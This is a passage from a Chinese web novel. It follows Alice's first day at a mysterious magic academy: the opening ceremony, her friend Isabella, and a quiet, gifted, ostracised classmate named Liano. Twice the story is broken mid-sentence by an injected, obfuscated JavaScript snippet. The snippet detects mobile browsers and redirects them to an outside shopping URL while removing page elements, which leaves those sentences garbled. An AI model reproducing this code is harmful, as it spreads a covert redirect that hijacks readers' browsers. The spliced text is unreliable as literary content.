《魔法学院凄惨优等生的拯救指南[gb]》 1. 作为魔法的信徒遇见他 有人在施法。 爱丽丝朝着远处的湖畔看得出神。 身着黑色兜帽斗篷的施法者先是挥动一只手臂,稳定而有方向地划出某种图案,又将手臂停在半空,翻动手掌,用手指做出更加精细的动作。 这是科尔缪勒手势,施展魔法的方式之一。相较于用语言、法阵和法杖施法,手势魔法传达的信息更加细致,所以对施法者精密动作的要求也相当严格。 爱丽丝屏住呼吸紧盯着那人的手指。 好漂亮的动作。 她第一次亲眼见到手势魔法的施法过程,但立刻就察觉到这并非寻常。 虽然只是手臂和手指的动作,但其中蕴含的意图、情感、力量,都是如此的清晰。 即使因为距离过远感受不到湖畔元素的运动,她也几乎能想象出周围的水元素会因为这样的感召而怎样地雀跃,欢欣鼓舞地将水流汇聚在湖面中央。 于是在手势完成的那一刻,爱丽丝立即顺着施法者手指的方向将注意力转向湖面。 而湖面……并没有反应。 ……为什么? 爱丽丝的胸口好似轻轻抽痛了一下。 是施法中断了吗?或者施法者的魔力不够了吗?还是他并没有认真地去……不,那样的动作绝不可能是随意做出的。 她感受得到自己的心脏正按捺着兴奋跳动。 那样虔诚的、投入的魔法,让她庆幸能够来到这里的魔法,绝没有随意施展的可能。 视线边缘,仿佛是错觉般的,施法人的手指似乎在轻轻颤抖。 爱丽丝这才反应过来,移动目光想要看清那位戴着兜帽的施法者,但是—— “爱丽丝小姐……爱丽丝小姐,您在听吗?” 刷啦一声,绿色的密林忽地挡住视野,马车的车轮声也重回耳畔,爱丽丝一瞬间回过神来。 “啊,安娜!抱歉,你刚刚说了什么?” 她赶忙转过头望向车厢对侧,无辜的琥珀色眼眸轻轻眨着。 女仆安娜因她的反应而微微愣怔,随即毫不意外地叹了口气,熟练地重复起来。 “爱丽丝小姐,我知道您一直很向往来到魔法学院学习,但是并非所有人都同您一样怀抱着对于魔法的纯粹热情,所以请您务必将自身的安全放在首位。您也知道梅尔维尔只是小领地,与无关人士有太多牵连将对您无益……” 至少今天,她希望自家令人挂念的小姐能够听进这些忠告,毕竟她一提到魔法就什么都忘了。 “请您一定不要轻信他人,也不要轻易给予帮助,当然,不要随心所欲地闲逛以至于迷路,也不要因为同野猫玩耍而忘记时间……” 爱丽丝听着安娜无奈拖长的语气,忍不住咯咯地笑,眉眼都弯弯的。 “知道啦安娜,姐姐和克莱因老师都跟我念叨过好几遍啦!” 于是安娜的脸上终于也露出温情的笑容。 爱丽丝是梅尔维尔领主家的珍宝,只要她平安快乐就什么都好。 她动手帮爱丽丝将斗篷的兜帽戴好,又细心整理好她耳边的碎发。马车也在这时缓缓停下,前座的中年驾车人回头举了举马鞭向二人示意。 前方不远处,耸立着魔法学院威严如城门般的大门,正有不少马车在门外停靠。朝门内望去,对面却隐约闪烁着幻觉般的微光,昭示着此处特殊的存在。 魔法学院的存在的确是特殊的,它不隶属于任何机构的管辖,却切实联系着所有魔法师的命运。 它在不固定的时间突然出现,服务于一个世代的魔法学徒,然后又悄然隐匿,可是似乎只有曾经在魔法学院学习过的人才有机会理解真正的魔法。 爱丽丝不会愿意错过这样的机会,但也正因为如此,安娜才觉得怎样嘱托也不为过。 她先下了马车,又将手臂伸给爱丽丝,后者几乎是搭着她的手欢快而轻巧地跳了下来,全然迫不及待的样子,安娜见状也只得暂时放弃了所有未尽的叮嘱。 “爱丽丝小姐,假期时亚伯先生会在这里接您回家。”她微微俯下身看着爱丽丝的眼睛,只留下最诚挚的祝愿,“在那之前,请您好好享受学院的生活吧。” “嗯!” 爱丽丝重重点头,兜帽的帽檐也跟着灵动地摇摆。 而她眼中亮晶晶的色彩,即使在兜帽的阴影下也难以掩盖。 * 但是果然…… 魔法学院就是超好的地方吧! 轻跑两步,爱丽丝不自觉地伸展双臂深深呼吸,空气中充盈的元素让她仿佛置身雨后森林的清新气息之中,周围一些同样戴着兜帽的同行者似乎也惊讶于此处浓厚的魔法气息。 初春的阳光很好,暖暖的却不晒人,不知道是否是由于元素的滋养,学院道路两旁的植被在春日中格外茂盛,不时传来隐约鸟鸣和什么动物穿过枝叶的簌簌声。 而且,更妙的是…… 路边一只慵懒地打着瞌睡的猫猫让爱丽丝实在忍不住停下脚步。 阳光透过树叶洒在猫猫身上,让那一整团毛茸茸显得蓬松而柔软,令人难以抗拒。 就摸一下应该不要紧吧?就一下下! 爱丽丝慢慢地靠近,又谨慎地伸出手。 但是,她的双手还没能收获任何想象中的触感,就因远处悠悠传来的钟声而顿住了。 “爱丽丝小姐,请不要因为同野猫玩耍而忘记时间。” 安娜的叮嘱突然回荡在耳畔,眼前的猫猫也在听到钟声后抬头抖了抖耳朵,默默看了她一眼,然后吧嗒吧嗒溜走了。 再四下张望时,原本周围其他同行的学徒也不见了身影,分明是入学仪式的时间快要到了。 不好不好,差点就被安娜说中了…… 爱丽丝心虚地收回没有摸到猫猫的双手,拽住兜帽的帽檐,向着学院的中央建筑快步走去。 好在她到得并不算太晚,略显昏暗的礼堂大厅里仍然传来仪式前小声讨论的声音。 爱丽丝在一块略微空旷的地方站定,悄悄观察起周围。 这里多数人是同她一样戴着兜帽的打扮,就像安娜所说的,若无权势,隐藏身份是更妥当的做法,兜帽也正是因为如此而成为魔法师的常见着装。 当然也有对此毫不在意的,爱丽丝能轻易认出哪里聚集的人群是大领地的后代和他们的侍从。 对于他们来说,彰显身份反而是行为准则,身份是他们的保护伞,而他们的行为将反过来扩大自身身份的影响力。 就比如阿尔钦领主一族。 看到奥斯维德金发佩剑、被侍从学徒有序包围的身影,爱丽丝毫不意外。 阿尔钦是势力强盛的大领地,奥斯维德则是相当正直的领主之子,如果他代行管理之责,将不会有人提出任何异议。 但是环视礼堂,爱丽丝却没能看见另一个熟悉的红发身影,倒是旁人的细语先传入耳畔。 “这一代的奥斯汀副院长据说是魔法师科尔缪勒的妻子……” “那位已故的大魔法师科尔缪勒?那他的妻子为什么会……” 爱丽丝知道他们为什么只在讨论副院长的身份。 副院长才是魔法学院实际上的管理者,而行踪成谜的院长已经被杜撰为一种虚无缥缈的象征,魔法学徒们甚至将其视作元素意志的体现,从克莱因老师那个世代开始就是如此了。 “可是既然她没有什么卓越的魔法成就,为什么可以坐上副院长的……” “嘘!她来了!” 几位身着长袍的魔法师缓缓走向礼堂前方,不少学徒已经认出了其中有名的元素魔法师。 一个神情严肃的女性则从中走上主席位,她已成银丝的头发高高盘起,手中法杖上点缀的魔石相撞,发出冰晶碰撞般的响声。 她并不出声提醒,也不做任何手势,只是冷眼睥睨,直到细碎的讨论声自动平息下来才生硬地开口。 “诸位都是这一世代具有资格的魔法学徒,但希望你们明白一点,魔法学院将不会对任何人或任何事负责。” “……?” 爱丽丝微微睁大双眼,即使是她也会觉得这段陈述相当惊人。 但不知是否是因为某种魔法,爱丽丝推测是水元素或土元素魔法,周遭的气氛仿佛被冻结住一般,没有人在这时提出异议,于是偌大的礼堂里继续回荡着奥斯汀副院长的声音。 “学院提供知识和书籍,但真相需要你们亲身检验;学院提供教师和课程,但努力需要你们自行付出;学院提供平等的学习环境,但天赋和德行不可能轻易改变。只有一点可以肯定,这里是魔法和元素最充盈的场所,剩下的一切都有赖于你们自己,诸位共勉。” 她的态度很明显了,她不会为任何多余的事务烦心,包括可能误入歧途的学徒、可能发生的师生摩擦、可能产生的有关世俗尊卑的纠纷。 也就是说,她作为副院长愿意履行的职责仅仅是将魔法学院开放给学徒而已吗? 爱丽丝心里有些微妙的困惑。 而当奥斯汀副院长挪开了冷淡的眼神,她的周围才终于响起了低声的议论。这种撇清责任叫人自生自灭的态度容易引发不满,却也同时会有人因此跃跃欲试。 礼堂前方的其他魔法师似乎也对这段发言感到无奈,但副院长显然已经打定主意不再多说什么。 她背过身去轻轻挥舞法杖,打开了礼堂的另一侧的大门。 “现在,请诸位随我前往仪式间领取学徒凭证。” * 爱丽丝细细端详着手中的挂坠项链。 挂坠的正反两面都是透明而单薄的晶石,菱形的边框中间镶嵌了一个方形的结构,剩余的部分便被分割成四个三角形,立刻能够明白这对应着火、水、风、土四种元素。 据说中央的方形部分代表着院内修读课程的状况,当细沙填满这一部分,持有该凭证的学徒才算完成了学院的规定学业。 但是,一个学徒实际的魔法成就是由“元素的认可”决定的,将反映在挂坠的四角上,而有关于此的种种“观察”和“考验”,奥斯汀副院长却语焉不详。 所以这其实是一个相当精妙的魔法道具不是吗? 可以用挂坠中的细沙将课程学习情况和所谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092912|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“元素的认可”都具象化地反映出来,是刻写了什么样的阵法或咒文呢? 爱丽丝心里痒痒的,按耐住想要立刻将挂坠对着光源仔细研究的冲动,将它紧紧握在手中,毕竟这是要好好保管的唯一凭证。 抬头看去,仪式间的穹顶相当瑰丽,光线透过玻璃花窗洒进来,折射出梦境般的色彩。 环视四周,周围的其余人却全都不见了踪影,好像只有她一人进入了某个秘境一般。 爱丽丝明白这是因为奥斯汀副院长的魔法。 她仔细回味着刚才看到的景象,施法者庄重肃穆地挥动法杖,法杖上的魔石微微震动作响,发出淡淡的光芒,地面上的法阵也同时运作起来,直到四元素全部在施法者感召之下给予回应。 这简直是再美妙不过的场景! 而且仪式间内的元素相比学院其他地方还要更加充盈,她还是第一次见到这样盛大的施法。 如果没有猜错的话,这个复杂的魔法应当是将每一个学徒都转移到单独的空间,好让他们分别获取各自的资格凭证,以及取得最初的“元素的认可”。 不过,这个魔法中好像还暗藏着什么她看不懂的…… “……!” 背后突然出现的魔力波动打断了爱丽丝的思索,她赶忙回过头去,却看见一位白发老者正对她微笑。 爱丽丝愣怔了几秒,才试探着开口。 “……您好?” 老者并不答话,只是用一只手指指向爱丽丝手中的挂坠,而后反转手掌使得掌心向上。 爱丽丝手中的挂坠即刻悬浮在半空,引来一些元素的聚集。 等等…… 行踪成谜、虚无缥缈,却是体现元素意志的存在…… 有什么线索正在脑海中重组,爱丽丝的目光猛然从半空的挂坠回到老者身上,亮晶晶的眼睛好像破获了什么世纪悬案。 “您是……院长先生?” 老者微笑着点了点头,张口好像就要说些什么,穹顶上洒下的白光却忽然将眼前的景象全部覆盖。 爱丽丝再也看不见或听不见任何东西,只有紧紧握住重新回到手中的挂坠。 白光过去,惊奇和讶异的感叹声突然在耳边炸开,是所有学徒又回到了原本的仪式间中。 周围人有的正在兴奋地讨论所见的情形,有的还没反应过来一般愣愣地发呆。 爱丽丝也情不自禁地微笑起来,果然魔法就是这样令人欢呼雀跃的存在,正因为如此她才会想要来到这里。 她有一天也能施展这样美丽而壮观的魔法吗? 爱丽丝抬起头,想要最后再看一眼瑰丽的穹顶,却无意间发现奥斯汀副院长正面色不善地盯着她所在的方向。 “……?” 是她的错觉吗?副院长很快就不动声色地挪开了视线,用冷淡的声音对众人下达了新的指令。 “仪式结束,诸位可以回到礼堂查看本季度的课程设置情况。” 于是所有的学徒便都调转了方向,从一条长长的昏暗的通道原路返回。 从礼堂大厅走来时爱丽丝就发现这段路程相当漫长。 昏暗的通道没有尽头一般向前延展,只有间隔出现的壁灯提醒着学徒他们并没有在原地踏步。 爱丽丝几乎可以肯定这个通道被施展了空间魔法,大概是想要模糊仪式间的真实位置。 应当是风元素的幻觉属性……也许加上了水元素的冥想? 她一边迈动双腿一边偷偷张望,想要找一找通道中的魔法痕迹。 也就是在这时,她注意到一个人的背影。 那人似乎走得有些吃力,甚至伸出手臂扶住墙壁喘了口气,才接着向前走去。 这次他的脚步比刚才还要慢一些,另一只手臂也不自觉地抬起,紧紧按压在腹部的位置。 是胃痛吗?看上去已经很难受了…… 爱丽丝的心底升起一丝担心,放慢脚步跟在他身后。 只是确认他是否要紧而已,只是确认。 他很快就又一次停下了步伐,再次扶上墙壁的手在昏暗的壁灯下轻轻颤抖。 这次他似乎是站不住了,好像想要倚靠着墙壁瑟缩起来,却又硬生生克制住了自己的动作,只剩下单薄的肩膀在喘息中轻轻起伏。 爱丽丝的胸口有点闷闷的,她抿唇纠结了片刻,还是小心翼翼地伸出手。 “那个……你没事吧?” “……!” 对方猛然转过头,灰色的瞳孔好像被吓到了一样收缩成一条细线。 他在兜帽之下警惕地瞪着她,即使在几秒之后意识到她并无恶意,也并没有放松太多。 他似乎不知怎么回应她的询问,避开眼神用低哑的声音回了句没事,就加快步伐匆匆走开了。 爱丽丝想要扶住他的手还停留在半空,指尖好像触碰到了他的衣料,又好像没有。 后续的学徒不断涌上来,他的背影很快就不见了。 “……” ……好像炸毛的小猫。 爱丽丝盯着自己的指尖迷迷糊糊地想。 2. 通过眼睛认出他 所以魔法学院果然是超好的地方吧! 爱丽丝兴奋得眼睛都亮了。 她努力踮着脚蹦了两下,想要看清楚悬挂的长卷羊皮纸上罗列的令人眼花缭乱的春季学期课程。 最上方写着的是传统的必修科目,像是魔法史、魔法语言学、魔法原理与魔法生理学,还有需要根据个人属性选择的元素魔法课程等等。 越往下越是体现出魔法师教授们逐渐溢出的个人风格,像是《精妙魔法道具发明》《药食同源——魔法药材的日常烹煮》《快来试试!你也能创造简易魔法》《关于法阵魔法的知识》…… 爱丽丝用最快的速度将所有课程浏览了一遍,神色却慢慢凝重下来,直到单手托腮皱着眉沉思。 嗯……这可不能大意。 魔法学院为教授们的课程设置提供了很高的自由度,这也就代表课程的时间、地点甚至授课方式没有统一的规定,导致学徒们在安排听课时需要尤其小心。 比如部分课程的时间有所重合,但据她所知,世界上还没有能够分裂意识的分身魔法,时间魔法的难度和危险系数又都太高了;又比如有些课程的时间刚好错开,地点却相隔很远,发动大型移动法阵显然也不现实,事实上,诸如此类的高级魔法她暂时还没有机会接触。 所以满打满算,她一个季度能够听完的课程也就只有所列课程的三分之二而已。 而且……怎么这样!《当季药草博览》和《火元素自然观察》明显都是春季学期特有的课程,但是时间却不凑巧撞在一起! 爱丽丝暗暗握拳,大脑飞速运转,想要排出一份最合适的课表,一声低声的呼唤让她突然回过神来。 “爱丽丝……爱丽丝……!” 她茫然地回过头寻找,看见一双藏在某个兜帽下的熟悉的眼睛,顿时冒出惊喜的神色。 “伊莎贝拉!我就知道会碰到你!” 爱丽丝朝对方扑过去,对方也顺势抱住她,两人凑成一团,立刻像两只叽叽喳喳的小麻雀。 “一到礼堂大厅我就在找你了!刚刚去仪式间的路上也没看到你!” “我也在想什么时候能碰到你呢,你果然在这儿盯着课程看。”伊莎贝拉暗笑她的好懂。 爱丽丝被戳穿,不好意思地笑笑,“但是伊莎贝拉你怎么……” 退开两步端详伊莎贝拉的打扮,她最具特征的艳丽红发被藏在兜帽之下,隐约才能看见。 爱丽丝知道伊莎贝拉其实不必如此,她是罗斯戴尔领主的女儿,没有人敢找她的麻烦。 伊莎贝拉却撇了撇嘴,“我想清静些,才不要和某人一样引人注目。” 某人。 爱丽丝瞬间明白了。 从她的视线方向,一眼就能望见不远处显眼的金色脑袋,是阿尔钦的奥斯维德,或者说伊莎贝拉的准未婚夫。 正经算起来,爱丽丝所在的梅尔维尔领地其实是罗斯戴尔大领地的附庸,但是伊莎贝拉的父亲是一位相当具有德行的大领主,而伊莎贝拉更是不在乎这些权势尊卑,向来和爱丽丝玩得好。 不过她也因此对作风板正的奥斯维德颇有微词。 觉得他是榆木脑袋的那种。 于是伊莎贝拉也被爱丽丝带着笑意的眼神戳穿,不自在地转移了话题,“说起来……梅尔维尔领主大人最近怎么样?” “姐姐她很好~”爱丽丝清清嗓子,就要拎起裙摆装模做样地行个礼,“还要由衷感谢罗斯戴尔领主一族一直以来的帮助……” “演什么呢!” 伊莎贝拉无奈,一把搂过她的胳膊,又忍不住和她笑作一团。 “哦?!我想做什么还需要经过你的允许?魔法学院什么时候新增这条规定了?” 突如其来的高声质问让礼堂都安静了几分。 爱丽丝和伊莎贝拉两人疑惑地对视一眼,寻声望去,是一名暗红发色、气焰嚣张的学徒正与奥斯维德对峙。 那人的周围也有不少侍从学徒,似乎并不把奥斯维德放在眼里。 “那是格罗姆康特家。”伊莎贝拉皱了皱眉轻声嘟囔,爱丽丝可以轻易听出她的厌恶与不耐烦,“相当跋扈的火元素领主世家。” “即使学院并无规定,领主后裔也理应遵循最基本的德行!” 奥斯维德震声回应,亮出佩剑上的家徽,“我作为阿尔钦领主一族将在此监督,确保学院教学的正常进行!” 四周响起轻轻的议论声。 这就是说,奥斯维德将在学院进行最基本的秩序管理了。 奥斯汀副院长确实是随性地无视了那些规则,但为了避免骚乱,这种场合下的大领主一族需要在一定程度上将其补足。 还真是辛苦呢…… 爱丽丝正偷偷走神,却忽然瞥见争执的人群中隐约闪过一个黑色兜帽的身影。 她微微愣住,回忆起一个灰色的警惕的眼神,还有昏暗灯光下颤抖的手和仓惶离开的背影。 有点在意,她还是第一次被人那样生硬地避开。 不知道他现在怎么样了,胃痛有好一些了吗? 学院这么多学徒,也许很难再遇到了吧…… “别管他们了,让奥斯维德去解决吧。”伊莎贝拉也看惯了权势博弈的戏码,眼见事态并不严重就无趣地摆了摆手,“你这周的课安排好了吗?刚刚看你在这儿思考半天了。” 爱丽丝立刻被这个话题转移了注意。 她拉过伊莎贝拉的手就开始自言自语,总而言之就是这门课也想上,那门课听上去也很有趣。 毕竟这可是魔法课,谁会不想上魔法课啊! “你说是不是,伊莎贝拉?” “……爱丽丝,我打赌你一定是这个世代第一个用细沙填满凭证的人。” 伊莎贝拉听着她的碎碎念毫不意外,这么些年她早就养成了在爱丽丝念叨魔法时挑重点听的习惯。 “啊,伊莎贝拉!”爱丽丝听了这话却猛然吸了口凉气,眼睛瞪得溜圆望着她,“该不会……该不会凭证填满之后就不能再上课了吧?” ……她都想到哪儿去了? 伊莎贝拉微微错愕之后简直哭笑不得。 不过爱丽丝就是这样的,没法上到有意思的魔法课,或者说没法痛快地学习魔法,要比其他任何事情都叫她焦心。 “放心放心,就算你完成了必须的学业,教授们也都会很愿意你去听课的……” 她安抚地摸了摸爱丽丝被兜帽盖住的脑袋,任凭因自己的无端假设而六神无主的爱丽丝在她手下左摇右摆。 “但是你可别看见什么感兴趣的就跑去听啊,到时候课业都完成不过来。” “好喔……” 爱丽丝痛定思痛,暗下决心一定要好好规划一下怎么上课,把她觉得有趣的课程都听了! 她用脑袋顶起伊莎贝拉的手,锲而不舍地望向挂着课程羊皮纸的方向,却看见礼堂前方的魔法师教授席位中,一位面容和蔼的慈祥女性正向她招手。 “伊莎贝拉,我可能……要先离开一会儿。” * 陶瓷的茶具轻轻碰撞发出清脆的响声,香薰蜡烛则静静燃烧着,散发着淡淡的果木香,与书卷的气息融为一体。 爱丽丝抿了抿杯中的红茶,轻舒一口气,浑身都暖融融的。 她觉得希尔教授的办公室应当入选魔法学院最舒适的场所之一,虽然她才刚在学院待了这么小半天。 而希尔教授则在办公桌的对面朝她微笑。 “虽然不时会收到克莱因的来信,但我想还是该当面问问你。” 她的语气温和,并不让人觉得冒犯。 “这几年过的怎么样,爱丽丝?” 这几年。 这个词仿佛将爱丽丝带回了遥远的记忆中,那里有谁一遍遍呼唤她的声音。 “……刚开始时我们都有点不知道该怎么办。” 父母意外离世后,梅尔维尔领主一族只剩下她们姐妹二人。还有一座庄园、几个家仆、领地迷茫的未来,这就是全部了。 爱丽丝的声音稍稍黯淡了一些,却很快又恢复了活力。 “但是姐姐很厉害,现在已经是超级称职的梅尔维尔领主了!也多亏了罗斯戴尔领主大人和克莱因老师的帮助。” 希尔教授微笑着点头,“克莱因的魔法不是最出色的,但是他的品行却是最值得信赖的,是我引以为豪的学生。” 爱丽丝也眼睛弯弯,“嗯!我和姐姐也都很喜欢克莱因老师。” 比起契约雇佣的魔法家庭教师,克莱因老师更像是她们的家人,那几个忠心的家仆也是如此。 “那么学院怎么样?第一天来还适应吗?” 爱丽丝眼前一亮,提到这个话题她就有点儿停不下来了,拒人千里的副院长、神秘瑰丽的仪式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092913|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间、五花八门的课程,想说的话一股脑地倒出来,似乎也并不需要对方的回应似的。 希尔教授却始终专注地望着她,带着微笑点头。 到最后爱丽丝都有点儿不好意思了,实在是有些叨扰太久了。 她腼腆地摸了摸兜帽之下已经被她妥帖戴好的挂坠凭证,歪头笑了笑。 “希尔教授,其实我最后还有件事想拜托您……” * 爱丽丝有点儿一头雾水了。 她停住脚步,仔细感受空气中元素不寻常的流动。 周围的景物并未变化,但一切都寂静了,好像是从现实中抽离,来到了某个独立的空间中。 而刚才周身朦胧的闪光,一瞬间仿佛仪式间瑰丽花窗上洒下的光线,提示着她这里是怎样的存在。 是所谓的“元素的考验”吗?早知道昨天应该多问问希尔教授的。 爱丽丝站在原地环视四周,空气中的元素确实围绕着这里缓缓流淌,好像在维持这个神秘的空间,又好像在等待或是观察着什么。 但是……在上课第一天前往教室的路上? 这、这么着急? 她捧着正准备带去魔法史课堂上的书卷和羽毛笔,稍稍有些窘迫。 不过好在克莱因老师已经教过她一些基础的魔法,而且她是天生的言灵法师,施展语言魔法时并不需要额外做什么准备。 爱丽丝沉吟几秒,立刻放弃了过多而无用的思虑。既然是元素的考验的话,就轮流拜托元素们试试吧! 首先要弄清楚这个神秘空间的构成方式,或者离开的方式也行。爱丽丝感受着体内魔力的流动,轻轻开口。 “理性而智慧的风元素,拜托你帮助我看清……看清……?” 好像已经看清了。 一只猫猫。 爱丽丝看到秘境中突然冒出一只猫猫。 然后猫猫吧嗒吧嗒跑到她脚边蹭了一下。 “……?” 即使是爱丽丝也判断得出来,普通的猫猫应该是不会像蘑菇一样突然冒出来的,也不会带着这么浓厚的元素气息。 但是它看上去无害,而且……非常毛茸茸。 非常,让人想要抚摸。 所以…… 无所谓吧!总之都是猫猫! “你在这里干什么呀,小猫猫~你就是考验吗?” 爱丽丝伸出手,猫猫立刻凑了上来。 比想象中更加令人着迷的柔软触感让她顺理成章地淡忘了现状。 “哎呀,你好软呀~好好摸~” 然后沉溺在毛茸茸的世界当中。 所以当她再次抬头的时候,不得不惊讶于眼前咕嘟咕嘟冒出来的好几只猫猫。 其实猫猫们并没有发出声音,只是爱丽丝觉得它们像魔药坩埚里的泡泡一样连绵不绝。 ……是什么意思呢? “你、你们也想要吗?” 她试探着开口,猫猫们默默将脑袋凑了过来。 于是爱丽丝的表情也彻底松弛下来,眯起眼睛在毛茸茸的世界里微笑,仿佛置身梦境一般。 直到她感受到空气中不稳定的魔力波动,然后猫猫们也如同烟雾消散。 已经结束了吗?爱丽丝眨了眨眼睛有点发愣。 说起来这好像是……元素的考验来着? 考验了什么?抚摸毛茸茸的手法? 远处传来的悠悠钟声打断了她正要向奇怪方向发散的思考。 爱丽丝猛然回过神来,意识到什么。 ……上课时间! 偷偷打开教室的后门的时候,爱丽丝仍在平复着因狂奔而急促的呼吸。 她尽可能轻声地溜进去,却还是看见讲台前的老教授正朝她俏皮地眨眼睛,只好回以一个抱歉的微笑。 再磨磨蹭蹭下去就不妙了,爱丽丝扫视一眼,立即走向教室角落里空着的座位。 实际上整间教室也就只剩下那一个座位了,但她就是莫名觉得那个已经坐在空位旁边的身影孤零零的,像是要降低自己的存在感似的藏在更靠边缘的阴影里。 当她坐过去时,那个身影一顿,明显注意到了她。 那人微微侧过头看向她的方向,兜帽下灰色的眼睛愣怔了一瞬,瞳孔轻轻收缩,却不像第一次那样紧张而戒备。 啊,是他。 爱丽丝与他对视。 3. 单纯地欣赏他 “但是科尔缪勒大魔法师并没有被那个令他嗓音受损的意外影响!他转而开始探索手势魔法,最终创造了现有的四种基础施法方式之一!” 爱丽丝有点儿越讲越来劲。 “其实他原本是想将手势魔法作为语言魔法的补充,因为语言魔法也有在心中默念的无声施法方式。但是他在尝试之后却发现手势魔法大有可为,可以用更短的时间达成更加精细的效果,也可以为无法通过其他方式施法的施法者提供另一种选择。还有人认为加上了手势魔法后着的四种施法方式刚好暗合四大元素,所以将科尔缪勒评价为受到元素启迪的伟大魔法师。” “嚯嚯,看来是一位很会讲故事的小姐呢!非常引人入胜的讲述!” 面对老教授善意的评价,爱丽丝不好意思地笑笑。 在梅尔维尔,克莱因老师也不时会为她讲授魔法史的基础内容,不过她总是把那些枯燥的时间节点忘掉,这种边边角角的小细节倒是记得清楚。 “科尔缪勒创造手势魔法发生在新历392年,好了,让我们在时间轴上添上这个重要的历史事件。” 老教授舞动着手中的羽毛笔,学徒们头顶悬浮的金色文字中立刻又多出了这一条描述:新历392年,科尔缪勒,手势魔法。 金色的细线在教室半空浮动,细线之上的一个个节点已经由学徒们答出的历史事件不断填充,仿佛真的是一条历史时间轴。 非常实用而优雅的魔法! 清晰的光亮明显是火元素的体现,但是将其转化为图案和文字的一定是水元素的幻觉属性,爱丽丝忍不住去思考两种元素在这个魔法中的比例。 “噢,现在还剩下最后一位学徒,请你也为这条时间轴添上点什么吧。” 老教授和蔼地看着爱丽丝身旁的那个身影。 爱丽丝没有转头去看,却下意识关注着身旁的动静。 他真的非常安静,自始至终。以至于她有那么一刻怀疑他不会去回答这个问题,可是他在短暂的沉默后轻轻开口。 “新历276年,大魔法师里亚德多斯将四元素与物质的四种形态对应,同时验证了四元素间的相互转化关系。” 爱丽丝仔细倾听着他的声音。 她觉得他的声音原本也许是清亮的,但现下却带着些低哑和生涩,仿佛很久没有开口说话一般。 这是和她的回答风格完全不同的,简洁而精确的答案。 “太棒了!土、水、风、火元素与固态、液态、气态、离子态,这是重要的转折点!” 老教授激动地转过身在半空中写画,爱丽丝则偷偷看了身边人一眼。 他并未因这句夸奖而出现任何情绪波动,仍旧是一副疏离的姿态。 “好了孩子们,看看,我们的时间轴上有这么多的历史事件。”老教授似是感叹地,“但是事件终归只是事件,它们只是史料而已,史料并不最终产生价值……试试吧,孩子们!” 他一挥手,每位学徒的桌前都猛然铺展开一张羊皮纸。 “你们从史料中发现了什么,你们会怎样解读它们,这才是面对魔法史最重要的思维方式。” 利亚诺。 爱丽丝第一次知道了身边人的名字。 她的写作得到了不错的评价,甚至收获了教授贴心的评语,她本在为此开心,但现在又觉得这似乎并不重要了。 因为利亚诺的论述被教授当作范例分析,从一整个教室浮在半空的羊皮纸中选出,然后用魔法映在每个学徒眼前。 他写新历元年人类与元素的第一次互动,写水元素、风元素、火元素依次被人类发现,最后与土元素形成四元素的稳定体系。 他所引用的史书上的话语,每一句都转写得分毫不差,但爱丽丝知道他在落笔时甚至没有翻看任何书卷。 他写魔法的历史是人类认识世界和认识自己的历史,从单纯的史料的堆叠中凝结出自己独特的思考…… “写得真好……” 爱丽丝缓缓眨着眼睛,不自觉地轻声赞叹,没发现邻座人兜帽阴影下轻颤的睫毛。 她自认为自己是热爱学习魔法的,但是那不代表她可以轻易做到这种程度。 这样穿越历史长河的分析和探索,究竟经过了多少的思考和雕琢呢? ……想认识他,想和他聊天,想与他一起探讨魔法和学习。 那一定会很有意思吧! 爱丽丝怀抱着这样高涨的情绪听完了教授的最后一些叮嘱,打定主意要在下课后和利亚诺搭话。 但教授刚一宣布下课,身边的人就立刻抱起纸笔匆匆离开了,连让她出声的机会都没有。 是要赶去下一堂课吗? 爱丽丝一瞬间仿佛看到了着急忙慌赶来上课的自己。 她一点儿也没灰心,甚至连自己也不知道为什么地在兜帽的阴影下悄悄微笑。 下次再和他打招呼好了,她莫名觉得他们一定会聊得来的。 她收拾起桌前的书卷和羽毛笔,准备前往下一个教室。 “啧。” 耳边突然传来表示不耐烦的咂嘴声。 “真恶心人!” 然后是近乎恶狠狠的咒骂声。 爱丽丝愣住了,双手不自然地停在半空中,好几秒后才装作什么都没听到,缓缓地继续刚才的动作。 “装什么优等生,真是碍眼,他是哪家的?” “谁知道!名不见经传的小人物,还敢在这里出这个风头。” “哼,看他能得意到什么时候!” 爱丽丝的动作越发缓慢,直到那些学徒全都走远了,才最后一个离开教室。 “爱丽丝小姐,并非所有人都同您一样怀抱着对于魔法的纯粹热情。” 她想起安娜的叮嘱。 并不是所有人都抱着单纯学习魔法的心思来到这里,也不是所有人都会为了魔法和学识的精进而感到愉快。 今天如果不是利亚诺,他们也照样会将矛头指向别人,甚至指向爱丽丝自己。 但是凭什么呢?凭什么他们需要承受这样的恶意呢? 冷硬威严的岩柱将阳光劈开,在学院建筑的走廊上留下一明一暗不断交替的光影。 爱丽丝独自走在走廊,听着自己断续的脚步声。 她的步伐微微滞涩,早已没有了来时那种狂奔的劲头,但是带着草木气息的轻拂的微风让她心下稍稍平静了一些。 她没有办法改变这种状况。 甚至奥斯维德也无法改变。 贵为大领主一族,他能做的也只有在他实际所在的空间和权力可辐射的范围内维持表面良好的秩序。 “学院提供平等的学习环境,但天赋和德行不可能轻易改变。” 爱丽丝想起奥斯汀副院长冷淡的面孔。 是的,无法改变。 但是至少,她可以做出自己的选 